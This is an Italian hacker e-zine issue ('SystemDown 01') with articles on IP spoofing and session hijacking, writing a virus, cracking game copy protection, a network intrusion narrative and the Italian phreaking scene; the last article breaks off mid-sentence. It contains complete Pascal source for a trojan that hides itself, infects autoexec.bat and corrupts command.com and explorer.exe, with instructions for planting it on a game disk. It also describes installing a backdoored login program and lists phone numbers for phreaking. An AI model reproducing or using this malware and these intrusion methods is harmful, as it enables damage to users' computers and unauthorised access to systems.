Copy Link
Add to Bookmark
Report
SystemDown 01
Introduzione:
Siamo alla prima uscita di una rivista che spero possa essere scritta
anche in futuro da un piccolo gruppo di persone chiamato "SystemDown"
i cui membri sono:
InfectedMachine
IceNice
RaggedRobin
Jack McKrak
Jester
Ramlin
In questa rivista vogliamo trattare tutti quegli argomenti che nel resto
dei paesi maggiormente colpiti dal fenomeno internet si sono propagati con
maggior velocita' e ampiezza, ovvero: hacking, phreaking, cracking, virii,
ecc.
Gli articoli che riporteremo sono frutto delle nostre conoscenze e, in
minima parte, da testi tradotti dalle piu' famose riviste specializzate del
settore tipo 2600 o Phrack.
Quindi, spero possiate trovare interessante il contenuto di questo testo
cosi' da poterci incoraggiare a continuare il lavoro.
Noi, comunque, non ci assumiamo nessuna responsabilita' per l'uso
illegale delle seguenti informazioni che sono state rilasciate solamente
per puro scopo educativo.
By InfectedMachine (InfectedMachine@cryogen.com)
Indice:
1) Basi dell'Ip Spoofing e del Hijacking ( by InfectedMachine )
2) Primi passi sulla costruzione di un Virus ( by RaggedRobin )
3) Principi Base del Crakking, MOLTO di base, pure troppo ( by McKrak )
4) Attacco Frontale ( by IceNice )
5) La scena italiana: hacking/cracking/phreaking/virusing ( by Jester )
6) Firewall: concetti base (Parte I) ( by Ramlin )
Basi dell'ip spoofing e del Hijacking ( by InfectedMachine )
L'ip spoofing e' una tecnica mediante la quale si riesce ad ottenere un
accesso con pieni privilegi ( SuperUser level o root ) ad un terminale
modificando la serie di pacchetti di informazioni ip che partono ed arrivano
da un computer al momento della connessione.
L'ip spoofing e' possibile quando i pacchetti di informazioni viaggiano
sullo stesso network e non escono mai all'esterno ( anche se vi sono alcune
eccezioni ).
Un collegamento base ( telnet, web, ftp, ecc. ) tra due computer collegati
ad internet funziona tramite lo scambio di pacchetti di informazioni IP che
confermano la provenienza e la destinazione di un terminale.
Un ipotetico computer A manda un messaggio SYN ( SYnchronize sequence
Number ) e una serie iniziale di numeri, chiamata ISNa, al server B
richiedendo il collegamento alla rsh ( remote shell ) o a qualche altro
servizio remoto ( tanto per citarne uno, rlogin porta TCP 513 ).
Il server B risponde ad A con un pacchetto di informazioni SYN, ISNb
( l'Initial Sequence Number di B ) e un ACK ( ACKnowledge ) che contiene
l'ISNa aumentato di 1 per poter cosi' capire che i dati stanno andando nella
giusta direzione.
Il computer A conclude inviando l'ACK contenente l'ISNb.
Schematizzando:
A...B: SYN, ISNa
B...A: SYN, ISNb, ACK(ISNa+1)
A...B: ACK(ISNb)
Questo tipo di connessione e' chiamata in inglese 3-way handshake.
Gli Initial Sequence Number sono dei numeri a caso che incrementano il
loro valore di 128 ogni secondo e di 64 ogni nuova connessione.
Quindi se si apre un collegamento ad una macchina si puo' anche sapere quale
sara' la sequenza successiva.
Il SYN ha il solo scopo di chiedere la connessione al sistema B in modo che
questo possa controllare i numeri iniziali mandati da A e far partire la sua
sequenza di login.
Torniamo a noi:
L'hacker C prima di tutto deve aprire una connessione con il bersaglio
( in questo caso B ) alla porta per la posta elettronica ( porta 25 ) o
alla TCP echo port ( porta 7 ); questo da' l'ISNb.
Poi C impersona A e manda una serie di richieste di connessione:
(C)A...B: SYN
(C)A...B: SYN
(C)A...B: SYN
(C)A...B: SYN
(C)A...B: SYN
(C)A...B: SYN
(C)A...B: SYN
(C)A...B: SYN
B risponde ai vari SYN di C credendo di mandare i messaggi ad A:
B...(C)A: SYN, ISNb
B...(C)A: SYN, ISNb
B...(C)A: SYN, ISNb
ecc...
Cosi' facendo si concede ad "A" di entrare.
Da questo momento tutte le future connessioni con quella porta TCP verranno
ignorate a causa dell'afflusso delle connessioni mandate da C.
(C)A...B: ACK(ISNb) usando l'ISN aumentato come abbiamo visto prima.
C non vede nessuna risposta da parte di B poiche' quest'ultimo le spedisce
ad A.
Se tutto e' andato bene lo rsh server di B pensando di connettere A, da'
libero accesso a C.
Per fare credere a B di essere A bisogna che quest'ultimo non sia collegato
per poi, cosi', prenderne il posto.
I messaggi ip, inoltre, devono essere modificati in maniera tale che la
risposta di B non arrivi ad alcun host poiche' quest'ultimo potrebbe mandare
indietro un messaggio RST ( reset ) che annullerebbe la connessione.
Ricordate:
Nessun pacchetto di informazioni deve tornare indietro a voi in alcun modo!
I servizi vulnerabili all'ip spoofing sono i seguenti:
SunRPC & NFS
I comandi remoti del BSD Unix ( rlogin o rsh ad esempio )
X Windows
Firewalls basati sul filtraggio dei routers se il router non e' configurato
per bloccare i pacchetti provenienti dal un dominio locale.
Alla fine, le cose che vi servono per poter sfruttare questa tecnica sono:
1) L'host bersaglio;
2) L'host a cui "devono arrivare" i messaggi mandati dal bersaglio ( quello,
cioe', che dovete impersonare );
3) L'host dal quale attaccate ( dovete essere root qua! );
4) Un software per l'ip spoofing ( vedi alla fine di questo articolo ).
Sotto riporto lo schema di un pacchetto di informazioni ip:
________________________________________________________
4-bit | 4-bit | 8-bit | 16-bit |
| Lunghezza | Tipo di | Lunghezza |
Versione | Intestazione | Servizio | Totale |
-------------------------------------------------------|
16-bit | 3-bit | 13-bit |
| | Variabili di |
Identificazione | Flags | Frammento |
-------------------------------------------------------|
8-bit | 8-bit | 16-bit |
Tempo da | | |
"Vivere" | Protocollo | Controllo Intestazione |
-------------------------------------------------------|
32-bit |
|
Indirizzo di provenienza |
-------------------------------------------------------|
32-bit |
|
Indirizzo di destinazione |
-------------------------------------------------------|
Opzioni ( se ci sono ) |
|
-------------------------------------------------------|
|
Dati ( di lunghezza variabile ) |
_______________________________________________________|
I numeri a 32bit indicati come Indirizzo di provenienza e di destinazione
sono i due piu' importanti dati nel pacchetto IP e sono alla sua testa.
Piccola nota: Il tempo da "vivere" ( detto anche TTL= Time To Live ) indica
il numero di salti di router che un pacchetto IP puo' fare prima di essere
scaricato definitivamente dalla rete.
Una volta che si e' ottenuto il controllo del terminale B, e' possibile
accedere ai collegamenti remoti che sono connessi a quel terminale.
Riporto in seguito anche lo schema per un segmento di informazioni TCP:
________________________________________________________
16-bit | 16-bit |
| Porta di |
Porta di provenienza | Destinazione |
--------------------------------------------------------|
32-bit |
|
Sequenza di numeri |
--------------------------------------------------------|
32-bit |
|
Numeri di indentificazione |
--------------------------------------------------------|
4-bit | 6-bit | 6-bit | 16-bit |
Lunghezza | Riservato| Flags | Grandezza |
Intestazione | | | Finestra |
--------------------------------------------------------|
16-bit | 16-bit |
Controllo del TCP | Indice |
| Urgente |
--------------------------------------------------------|
Opzioni ( se ci sono ) |
--------------------------------------------------------|
|
Dati ( di lunghezza variabile ) se ci sono |
________________________________________________________|
Per poter effettuare questo tipo di attacco dovete conoscere bene i computer
connessi a quello che volete attaccare per poterne prendere il posto e
"fregare" il vostro bersaglio.
Quindi prima di attaccare un computer ( e questo vale come regola generale )
scoprite tutte le informazioni possibili legate a lui, alla rete e a quelli
che ne fanno parte con comandi come:
finger
who
rwho
rpcinfo
showmount
Una volta connessi al sistema potete ( ma dovete intendervi parecchio di
unix ) utilizzare un'altra tecnica chiamata Hijacking che permetterebbe,
modificando il kernel del computer sul quale siete entrati, di chiudere
tutte i possibili tentativi di connessione al sistema.
Per quanto riguarda l'hijacking del sistema ci sono da dire alcune cose:
Per effettuare questo tipo di attacco bisogna possedere un tool
( attrezzo ), programma, chiamato "tap" in grado di prendere il controllo
delle connessioni esistenti su di un sistema.
Questo programma ( che va' a modificare il kernel del computer bersaglio )
permette agli intrusi, con privilegi di root, di guadagnare il possesso di
qualsiasi connessione esistente sul sistema bersaglio permettendo
all'intruso di utilizzare comandi come se fosse lui il proprietario di
quella connessione.
Se uno user ha effettuaro un rlogin o un telnet ad un altro sistema,
l'hacker puo' guadagnare accesso a quel sistema evitando le solite
procedure di identificazione.
Attualmente il solo "tap" program conosciuto colpisce il sistema
SunOS 4.1.x
Piccola spiegazione dei termini:
ACK=ACKNOWLEDGE=Riconoscimento
SYN=Synchronize sequence Number=Numeri di sequenza sincronizzati.
ISN ( o ISS )=Initial Sequence Number ( Initial Send Sequence )=Sequenza di
trasmissione iniziale.
Queste sono le basi iniziali dell'ip spoofing che, comunque, non servono a
nulla senza un po' di studio personale.
Per poter specializzarvi in questo argomento vi consiglio di leggere prima
di tutto un buon libro sul protocollo tcp/ip e sul funzionamento delle reti
poi, dopo aver appreso i vari procedimenti attuati nelle connessioni fra i
computer, approfonfite l'argomento con i testi sull'ip spoofing reperibili
un po' ovunque sulla rete con poche e semplici ricerche.
Se volete comunque passare dalle parole ai fatti, vi conviene provare ad
entrare nel computer di qualcuno che conoscete ( magari un sysop vostro
amico ) per poter fare un po' di esperienza e correre pochi rischi...almeno
all'inizio...
Nota sull'ip spoofing:
Girovagando per la rete sono venuto in possesso di un programma chiamato
neptune.c ( scaricabile dal file di Phrack Volume 7, Issue 48, File 13 di 18
) che servirebbe a svolgere l'ip spoofing al posto nostro richiedendoci
solamente alcune info prima di partire. Non ho ancora verificato l'effettiva
utilita' di questo programma ma ritengo che Phrack sia piu' che affidabile
come fonte di informazioni.
2) Primi passi sulla costruzione di un Virus ( by RaggedRobin )
Questa parte della rivista e' dedicata a chi vuole sapere qualcosa di piu'
sul mondo dei virus.
Per chi di virus ne sa poco bisogna precisare che ne esistono di tre
famiglie principali: quelli che infettano il settore di boot, quelli che
si insediano in memoria e in fine i cavalli di troia.
In questo articolo vi parlero' di quest'ultimi.
I cavalli di troia sono programmi che una volta lanciati danneggiano in
qualche modo il computer, spesso formattano l'hard disk o cancellano files
alla rinfusa.
Per creare un cavallo di troia non è necessario essere dei programmatori
eccezionali e se si ha un po' di fantasia non e' necessario conoscere
l'assembler.
Il virus rr1 e' nella fattispecie un trojan horse scritto in pascal, un
linguaggio facile e che spesso viene insegnato a scuola; rr1 e' un t.h. ma
a differenza di molti altri non agisce subito ma aspetta che si riavvii il
computer 5 volte.
Il modo col quale renderlo operativo e' semplice: per prima cosa e' necessario
modificare un file bat in un disketto (magari quello che installa un gioco),
dal PROMPT DI DOS bisogna scrivere : EDIT seguito da uno spazio e dal nome
del file bat, andare a capo, tenere premuto il tasto alt e scrivere dal
tastierino numerico 255 quindi rilasciare alt, in questo modo avete inserito
nel file bat il carattere ascii 255 che è invisibile.
Quando compilate rr1 dovete rinominare, sempre da dos, il file con il
carattere 255 dovete cioe' scrivere ren rr1.exe (premete alt scrivete 255 da
tastierino e lasciate alt).exe, cambiate gli attributi del file
nascondendolo (con il comando dos "attrib +h nomefile" o con win, come
preferite) e copiatelo in a.
Una volta che verra' lanciato il file bat che avete modificato il virus verra'
copiato in c:\windows, alla fine dell'autoexec.bat verrà aggiunto il
carattere 255 in modo che ogni volta che si avvia il computer il file venga
caricato in memoria e il contatore che si chiama group.txt e che si trova in
c:\windows venga incrementato di uno.
Quando il contatore arriva a cinque il primo carattere del command.com e
dell'explorer.exe vengono incrementati di due, vengono quindi fatte tre
domande e se si risponde bene vengono rimessi a posto i files.
A causa delle sue caratteristiche questo virus viene difficilmente scovato
da programmi anti-vir. Semplice vero? Nel prossimo articolo vi faro' vedere
come si puo' complicare la vita agli utenti di win95.
program rr1;
uses DOS,CRT;
type conta=file of integer;
type autoexec=file of char;
var i,copy,risp2,invio:char;
auto,zone,gruppo,command,explorer:autoexec;
volte:conta;
harddisk:string[16];
dischetto:string[5];
j,contatore:integer;
risp:string[10];
procedure fallito;
begin
write('SPIACENTE AMICO QUESTA VOLTA TI E'' ANDATA MALE !!!');
DELAY(2000);
HALT;
END;
begin
invio:=chr(13);
j:=0;
i:=chr(255); {il carattere ASCII 255 e' invisibile}
assign(auto,'c:\autoexec.bat');
reset (auto);
assign(volte,'c:\windows\group.txt');
repeat
read(auto,copy);
if copy=i then j:=1;
until (eof(auto)) or (j=1); {guardo se autoexec.bat e' infetto}
if j<> 1 then begin {se non lo e'}
seek(auto,filesize(auto)); {aggiungo un invio}
write(auto,invio); {e il carattere 255}
invio:=char(10);
write(auto,invio);
write (auto,i); {nell' autoexec.bat}
close (auto);
harddisk:='c:\windows\.exe'; {copio il virus su hd}
dischetto:='.exe';
insert(i,harddisk,12);
insert(i,dischetto,1);
assign(zone,dischetto);
assign(gruppo,harddisk);
reset(zone);
rewrite(gruppo);
repeat
read(zone,copy);
write(gruppo,copy);
until eof(zone);
close (zone);
close(gruppo);
rewrite(volte); {creo il contatore}
write(volte,j);
close(volte);
SetFAttr(gruppo,Hidden); {nascondo il virus}
end;
reset (volte);
read(volte,contatore);
reset(volte);
contatore:=contatore+1;
write(volte,contatore);
close(volte);
reset(volte);
read(volte,contatore);
if contatore=4 then begin {contatore=4=crack}
assign(command,'c:\command.com');
assign(explorer,'c:\windows\explorer.exe');
reset(command);
reset(explorer);
read(explorer,copy);
copy:=char(ord(copy)+2); {aggiungo 2 al primo }
reset(explorer);
write(explorer,copy); {carattere di }
read(command,copy); {command.com ed }
copy:=char(ord(copy)+2); {explorer.exe }
reset (command);
write (command,copy);
close (command);
close (explorer);
{QUESTO QUA' SOTTO E' L'AVVISO}
CLRSCR;
WRITELN(' SPIACENTE AMICO, TI SEI BECCATO UN VIRUS.');
WRITELN(' FOSSI IN TE NON SPEGNEREI IL COMPUTER.');
GOTOXY(1,5);
WRITELN('SE RISPONDI ALLE MIE DOMANDE CANCELLERO'' IL VIRUS');
WRITELN('SE NON LO FARAI...PEGGIO PER TE');
WRITE('PREMI UN TASTO PER INCOMINCIARE E RICORDATI CHE NON PUOI ');
WRITELN('SBAGLIARE');
DELAY(2500); {ritarda qualche secondo }
READKEY; {per evitare che uno prema}
CLRSCR; {un tasto per sbaglio }
{QUESTO INVECE E' L'HACK QUIZ}
REPEAT
WRITELN('Qual'' e' il nome di Mitnick?');
READLN(RISP);
WRITELN('NE SEI PROPRIO SICURO?(S/N)');
READLN(RISP2);
UNTIL (RISP2='S') OR (RISP2='s');
IF (RISP='Kevin') OR (risp='KEVIN') OR (RISP='kevin')
THEN BEGIN WRITELN('PRIMA RISPOSTA GIUSTA!');
CLRSCR;
DELAY(1500);
END
ELSE FALLITO;
WRITELN('');
REPEAT
WRITELN('Qual'' e' il sistema operativo piu' usato nelle reti?');
READLN(RISP);
WRITELN('NE SEI PROPRIO SICURO?(S/N)');
READLN(RISP2);
UNTIL (RISP2='S') OR (RISP2='s');
IF (RISP='Unix') OR (risp='UNIX') OR (RISP='unix')
THEN BEGIN WRITELN('HAI AZZECCATO ANCHE LA SECONDA, COMPLIMENTI.');
CLRSCR;
DELAY(1500);
END
ELSE FALLITO;
WRITELN('');
REPEAT
WRITELN('IL SISTEMA OPERATIVO DA LA PRECEDENZA AI COM O AGLI EXE?');
READLN(RISP);
WRITELN('NE SEI PROPRIO SICURO?(S/N)');
READLN(RISP2);
UNTIL (RISP2='S') OR (RISP2='s');
IF (RISP='COM') OR (risp='Com') OR (RISP='com')
THEN BEGIN WRITELN('E ANCHE LA TERZA E'' GIUSTA, ORA TOGLIERO'' IL VIRUS');
CLRSCR;
DELAY(1500);
END
ELSE FALLITO;
{CON QUESTO METTO TUTTO A POSTO}
reset(command);
reset(explorer);
read(explorer,copy);
copy:=char(ord(copy)-2); {tolgo 2 al primo }
reset(explorer); {carattere di }
write(explorer,copy); {command.com ed }
read(command,copy); {explorer.exe }
copy:=char(ord(copy)-2);
reset (command);
write (command,copy);
close (command);
close (explorer);
end;
end.
Principi Base del Crakking (MOLTO di base) (pure troppo)...( by Jack McKrak )
1. Perche' crakkare un gioco.
Le Software House spesso danno per scontato che tutte le persone in
possesso di un PC Pentium, possano permettersi il lusso di comprare
qualsiasi gioco venga buttato sul mercato a qualsiasi prezzo...
Il videogiocatore medio, a questo punto, si trova nella condizione di:
A - Leccare il culo ai propri genitori per diverse settimane, dimostrando
di essere buono, bravo e studioso..un ragazzo che MAI spenderebbe dei
quattrini in semplici e inutili programmi per divertirsi al computer,
ma che in questa RARA e UNICA occasione, decide che e' giusto
concedersi, dopo tanta fatica, un po' di svago...
B - Cimentarsi nella classica razzia pre - post - natalizia visitando
tutti i nonni, nonne, cugini e parenti di infimo grado pur di poter
racimolare le esorbitanti 129.999 per l'ultimo titolo uscito..
C - Andare dal proprio pirata di fiducia e farsi masterizzare il CD
a modico prezzo....
D - Comprare il gioco assieme ad amici e poi installarlo su tutti gli
Hard Disk assieme al file di Crack...
Scartando le prime due proposte, certamente valide ma attuabili poche volte,
rimangono le ultime due...personalmente sono contro la masterizzazione
selvaggia di CD-ROM, in primo luogo perche' cosi' si arricchisce gente che
specula su prodotti su cui diverse persone hanno lavorato parecchio, in
secondo luogo perche', essendo il pirataggio gestito su larga scala, si
danneggia in modo esagerato la casa di produzione del gioco, che si vede
cosi' non ricompensata degli sforzi fatti...per questo sono fortemente
convinto che non ci sia niente di male se 5 o 6 amici si mettono assieme,
comprano il prodotto e poi se lo passano magari con la possibilita' di
attuare qualche devastante partita via modem....
2. Ridendo e Krakkando
Mettiamo che avete in mano il CD-ROM del titolo X e volete installarlo in
modo da giocarci senza l'argenteo dischetto...per prima cosa si esegue la
normale procedura di installazione, facendo in modo che venga copiato sull'
hard disk la maggior parte di gioco possibile...ormai gli ultimi titoli non
scendono sotto i 100 Mb...se siete fortunati l'installazione completa vi
permette di non dover utilizzare il CD-ROM durante il gioco (e' il caso di
EF2000, Syndacate Wars, ...). Visto pero' che l'utente medio di PC e'
solitamente abbastanza sfigato in queste cose, questo accadra' sempre piu'
raramente...
Se il programma e' stato installato quasi completamente, ma richiede che il
CD resti inserito, ci sono due possibilita':
A - Il gioco carica dal CD la musica e animazioni
B - Il gioco usa il lettore come protezione
Il primo passo da fare a questo punto controllare se sulla root del CD
c'e' qualche file strano, molto corto, come disk.id, cdrom.inf, che il
programma cerca quando viene lanciato...copiando questo file nella
directory del gioco a volte si puo' illudere il programma che sta girando
sul CD-ROM (e' il caso di Dark Force)...se questo sistema non funziona
allora bisogna ricorrere alla creazione di una unita' illusoria...
L'utilissimo comando SUBST sembra stato fatto proprio per questi casi,
infatti scrivendo "SUBST E: C:\TEMP" il drive E verra' identificato con la
directory TEMP....da questo momento tutti i programmi lanciati da quella
directory penseranno di girare su un altro drive..
Con questo sistema molti giochi cadono nella trappola e non oppongono
resistenza, ma sono sempre di meno...se il gioco non ne vuole sapere allora
non rimane che la soluzione estrema, copiare tutto il CD-ROM in una
directory e utilizzare l'utility FAKECD.EXE che si trova un po' ovunque nei
siti dedicati. Questo eseguibile non e' altro che la versione potenziata di
SUBST e se i programmatori del gioco non sono proprio degli uccelloni
possono superare un eventuale attacco molto facilmente...queste utility
infatti assegnano solo un unita' logica a dei settori del nostro Hard
Disk...
Se il gioco va a controllare un po' in profondita' si accorge subito di
girare su un Disco Rigido e non su un lettore CD...
A questo punto, se tutti i passi precedenti sono falliti, e' il momento di
rivolgersi alla rete...esistono infatti svariati siti che raccolgono
file per krakkare i piu' disparati programmi, con una buona ricerca a
tappeto di solito si trova anche quello che interessa a noi...la cosa
migliore resta comunque connettersi a Mirc e chiedere di persona, nei
canali dedicati, le ultime novita' che circolano...un crakker e' di solito
un programma molto corto, dunque non sara' raro che qualcuno ve lo possa
inviare via Mail o in una sessione DCC (scambio di file in un collegamento
IRC)...
Ricordate di tenere sul vostro Hard Disk i file che avete usato per krakkare
dei giochi che ora non avete piu', a qualcuno potrebbero sempre servire...
4) ATTACCO FRONTALE ( by IceNice )
Data astrale 2015 ore 22:30 del 24 dicembre notte di Vigilia, inizio
ricerca di informazioni su macchina a cui si ha intenzione di accedere: va
bene raga, tipo di macchina, rete che ne fa
parte, ecc, ora tutti al lavoro.
Ore 23:30 Finger alla macchina presa di mira:
$ finger -l @server.for.you
[nnt7.for.you]
Welcome to Linux version 1.1.88 at server.for.you
3:45am up 11 days, 4:09, 3 users, load average:0.01, 0.01, 0.00
Login:kirk Name:capitain kirk
Directory:/home/six Shell:/bin/bix
On since wed dic 24 13:21(MOT) on ttyp0, idle 1:23, from elsa.for.you
No Mail
No Plan
Login:spack Name:spack1
Directory: /export/account/guest Shell: /bin/zsz
On since wed dic 24 14:21(MOT) on ttyp1, idle 0:23, from sa.for.you
Mail last read wed dic 17 14:50 2015 (MOT)
No Plan
Ecco fatto raga ora andiamo a nanna info ricevute bye.
Natale, oggi decidiamo che tipo di strategia scegliere ed il momento
dell'attacco dato che con il finger abbiamo acquisito dati relativi ad
utenti; anche se non sono collegati, penso che ci potranno essere molto utili
in seguito (root, bin, system, demo, guest, stuff, shut e uucp ...)
prendiamo in considerazione anche le informazioni relative alle loro home
directory, alle macchine da cui sono avvenute le ultime connessioni e le
informazioni sull'idle time (che e' il tempo trascorso senza che vengano
impartiti comandi) e sulla data dell'ultimo collegamento.
Utilizziamo il comando rusers che ci permettera' di vedere una mappa delle
macchine che compongono la rete locale di cui fa parte quella attaccata il
tutto puo' essere anche ricavato utilizzando "host"
$ host -avl for.you
Query about for you for record types ANY
Finding nameservers for for.you...........
Query done, 1 answers, authoritative status:no error
Found 1 address for uni.sta.you
Trying server 154.204.156.13
Asking zone transfer for for.you...........
For you 884 IN SOA uni.sta.you(
9465465;serila (Version)
4564654; refresh period
123123456; expiration period
778979, default ttl
)
ehhe
__________________________________________________________________________
$ rusers -lu
pilo unik.uni.:console Feb 14 10:15 1:24
lila bioing.sc:consolle Feb 06 14:30 :50
N.B.
Il risultato del host fornisce informazioni molto importanti sul tipo di
sistema operativo delle macchine che si hanno di fronte.
Per completare e' necessario evidenziare eventuali connessioni NFS (il file
system distribuito usato su gran parte delle reti locali) tra le macchine
alla ricerca di una eventuale errata configurazione relativa .
$/export (everyone)
/usr1 shi.for.you
Il nostro obiettivo e' raggiunto ed una di queste macchine ha una
directory accessibile a tutti (/export) ora la nostra strategia e'
pronta e a questa possiamo connettere un sottoalbero di file system
effettuando un mount:
#mount server.for.you:/export/account /mnt
Bene bene, ora sappiamo anche dato output del comando finger che utente Spack
ha come directory di lavoro $home, proprio la directory /export/guest della
macchina server.for.you. :)
Ora ci resta solo da risolvere il problema di far corrispondere l'UID (user
identification) di guest sulla macchina che abbiamo preso come vittima, con
uno presente nella nostra macchina in modo da poter modificare il filesystem
montato eheh :-)
Siamo entrati finalmente, eccoci dentro, la macchina e' nostra eheh :-)))))))
Be non montiamoci la testa abbiamo solo i privilegi di spack a meno che il
nostro amministratore di sistema non sia diventato scemo, ma ora che abbiamo
accesso ci occore poco tempo per risolvere il tutto.
Proviamo a controllare se il system administrator ha mantenuto lo script con
SUID a root da utilizzare per velocizzare le operazioni di gestione,
SSSSSSSSSSSSSSIIIIIIIIIIIIIIIII
il nostro administrator ha fatto la sua bravata, ora la macchina e' nostra;
siamo dentro.
Non ci resta che farci una backdoor e poi cancellare le nostre tracce.
Proviamo a ricompilare ora i programmi caratterizzati da SUID o, se no,
aggiungiamo un privilegio a programmi che ne erano sprovvisti.
Mazzate.
Niente sto giro, strano! Allora proviamo a ricompilare il programma di
login, good c'e' l'ho fatta si ora si che posso tornare ed avere privilegi
di root quando voglio; ora mazzate. Dopo aver ricompilato il /bin/login
ho reso inutile il controllo della parola d'ordine fatto dalla macchina.
Ma noi siamo in possesso della JollyPassword che e' stata inserita sempre
modificando il sorgente di login e poi dato che abbiamo ricompilato
il tutto l'accesso e' nostro.
La scena italiana: hacking/cracking/phreaking/virusing
Phreaking
Sebbene l'Italia sia uno tra i sette paesi piu' industrializzati del mondo,
il suo sistema telefonico fino a poco tempo fa faceva quasi schifo. Infatti
prima che le comunicazioni telefoniche passassero alla Telecom Italia, si
poteva fare qualsiasi tipo di manipolazione sulle linee SIP e usare
proficuamente quasi ogni tipo di box (red,blue,black,acrilic,charteouse...).
Il sistema telefonico
L'Italia e' divisa in 220 distretti telefonici, ognuno con il suo particolare
prefisso: uno zero seguito da un numero (fino a tre cifre). Inoltre ci sono
alcuni prefissi speciali per telefoni cellulari (0335,0336..) o per posti
che in effetti "non esistono", come quelli che usano molti programmi della tv
che fanno delle televendite (0796). In questo modo la Telecom si protegge
dalla congestione delle linee dirottando il traffico verso centraline
speciali. Il piu' famoso, di questi prefissi "falsi" e' quello del famigerato
televoto (0869) che veniva usato molto spesso per i sondaggi. Era usato per
testare alcune decisioni politiche, ma il modo di imbrogliare era cosi
evidente (il tasto redial #) che questo sistema e' ritenuto totalmente
inattendibile e sta gradualmente scomparendo.
Numeri standard
Numeri che iniziano con la cifra 1 sono riservati per servizi speciali; tra
questi abbiamo il 113, il 187 e i numeri verdi 167[0 o 8]-xxxxx. I primi
numeri verdi avevano il formato numerico 1678-xxxxx ma ebbero cosi
tanto successo che la Sip fu costretta ad aggiungere i 1670-xxxxx piu' tardi.
Tutti i numeri che hanno il formato 1678-7xxxx sono utilizzate da compagnie
telefoniche straniere e sono mantenute sotto stretto controllo.
NB: sconsiglio a tutti di fare phreaking sui numeri 1678-7xxxx
se non volete fare una brutta esperienza....
Comunque qui di seguito sono riportati alcuni numeri "interessanti" (mi
raccomando fatene buon uso e non chiamate in massa altrimenti li "bruciano")
1678-72341 Un promo di una linea dimostrativa porno estera.
1678-70152 Sorpresa!!!mi raccomando non chiamate da casa vostra e
staccate subito...altrimenti...be' vi ho avvertito..."we
track hackers and advise autorities"...cazzi vostri.
Numeri speciali
I numeri di cui ho parlato sopra sono, ovviamente, tutti pubblici. Questi
altri sono "riservati" per un uso interno sebbene molte persone ci "giocano"
senza farsi troppi problemi:
135 BBS per registrare procedure di manutenzione
138 BBS o operatore umano
1372 Ring-back
777 Ring-back
1391 Operatore umano
160 Numeri di sicurezza dello Stato
1414 Un servizio che deve ancora essere reso disponibile,
che permette ad un utente di chiamare da un telefono e di
addebitare il costo della chiamata sulla propria bolletta.
Sara' implementato?
NB: non tutti i distretti supportano questi numeri ed inoltre poiche' non
sono numeri pubblici cambiano rapidamente formato.
Inoltre ci sono anche numeri country direct nel formato 1672-xxx.
Paese Codice
Argentina 1054
Brasile 1055
Cile 1056
At&t 1011
MCI 1022
Sprint 1877
Non e' piu' possibile alcun tipo di manipolazione su questi numeri...si
poteva fare prima quando erano rispettivamente nella forma: 054, 055, 056,
011, 022, 887.
Comunque non e' il caso di perdere tutte le speranze: ogni giorno vengono
implementati nuovi servizi...
I network a commutazione di pacchetto
C'e' in Italia un solo network a commutazione di pacchetto, Easy Way ITAPAC
(il cui DNIC e' 2222). Come in tutti gli altri network a commutazione di
pacchetto si ottiene l'accesso tramite un PAD che accetta solo accounts di
tipo NUI con reverse-charge. Queste password sono le piu' piratate perche'
ITAPAC e' il network nazionale piu' diffuso ( ed anche il piu' insicuro ) ed
anche perche' alcuni utenti di NUI non erano al corrente del costo di questo
servizio ed hanno dovuto pagare anche le bollette di tutti i phreaker! Ci
sono storie che circolano di NUI usate a tal punto che sono arrivate
bollette da sessanta milioni. In realta' penso che si trattasse di account
dimostrativi e che nessuno pagasse. Personalmente non ho mai fatto uso di
NUI rubate, anche se c'era un giro notevole ai tempi, quando senza internet
la telematica era un fenomeno per pochi eletti. Un mio amico si aggirava per
gli stand dei padiglioni SIP delle fiere e chiedeva:"mi scusi questo e' un
mIdem?"; "No e' un mOdem venga che le faccio vedere" era la risposta...gente
cortese quanto sprovveduta spesso con le password appiccicate al monitor....
Inoltre molte volte era la stessa SIP che distribiuiva NUI a scopi
promozionali... Comunque e' bene considerare che la maggior parte delle NUI
erano distribuite dai phreakers raccolte a seconda del PAD su cui erano
valide: infatti la maggior parte delle NUI erano valide su un solo PAD e solo
poche avevano il privilegio di essere valide attraverso diversi PAD. Fino a
poco tempo fa il PAD piu' piratato era sicuramente QSD France. Un'altra
attivita' molto comune era navigare attraverso i network di differenti paesi.
Ora la maggior parte delle NUI sono state cancellate ma alcune sono ancora
valide. Molte volte ITAPAC e' impossibile da usare...non e' raro che la rete
raggiunga il suo carico massimo e molte volte anche se le porte sono a
2400bps non e' difficile che il collegameno raggiunga la velocita' di 1200bps.
Fare Phreaking era un attivita' abbastanza comune in Italia, ma ora lo e'
molto di meno a causa delle nuove centraline telefoniche digitali e della
sicurezza piu' severa (ecco perche' negli articoli ci sono molti riferimenti a
"prima"...). Usare una Blue Box per telefonare verso gli USA era molto comune
fino al primo Gennaio del 1992. Quel giorno il software che controlla il
traffico telefonico verso il nord America fu cambiato e usare box verso gli
USA non e' piu' possibile. L'unico modo per piratare il sistema telefonico
verso gli USA e' usare carte di credito telefoniche; questo metodo e'
utilizzato di solito dai gestori di bbs warez pirata. Voci di corridoio
dicono che il cambiamento del software sia stato imposto all'ITALCABLE (che
gestiva le telefonate internazionali per la SIP) dalla AT&T a causa dell'
enorme traffico illecito tra Italia e USA (detto in altre parole il volume
del traffico non corrispondeva al numero di scatti realmente pagati). In
breve, molte, anzi, troppe persone che non erano nemmeno Hackers o Phreakers
ma semplicemente "amici degli amici" usavano blue box senza la minima idea
di come funzionassero. Alcuni hackers vendevano le blue box anche alla gente
comune, e questo e' probabilmente il motivo del blocco delle chiamate del
1992.
Ora, per quanto ne so, e' possibile usare box solo verso il Cile, l'Argentina
e altri paesi del terzo mondo.
Hacking
L'hacking in Italia non e' un 'attivita' molto comune. Gli hacker DAVVERO
validi in Italia sono una manciata: una decina a Roma ed una quindicina a
Milano. Comunque ci sono diversi adolescenti che si impegnano un sacco per
imparare alcuni exploits, ma sono solo adolescenti e con tutti i pro e i
contro. Raramente questi individui sopravvivono alla barriera dei venti
anni.
Comunque quelli che sopravvivono di solito autolimitano la loro azione ad
una particolare area e generalmente rimangono anonimi. I pochi che rimangono
di solito sono i piu brillanti, ed accumulano un sacco di conoscenze.
Conosco solo due persone che si possono considerare al livello elite in
Italia. Di solito per hacking in Italia si intende mantenere un sito ftp
non autorizzato sui computer universitari, rimuovere protezioni a programmi
commerciali, commerciare software copiato o avere accesso ad aree riservate
di host su internet o ITAPAC. L'Italia manca totalmente di gruppi H/P come
LOD, MOD, l0pht o il tedesco CCC.
Ad esclusione dell'Omega Team (che ha anche fatto un eccezionale emulatore
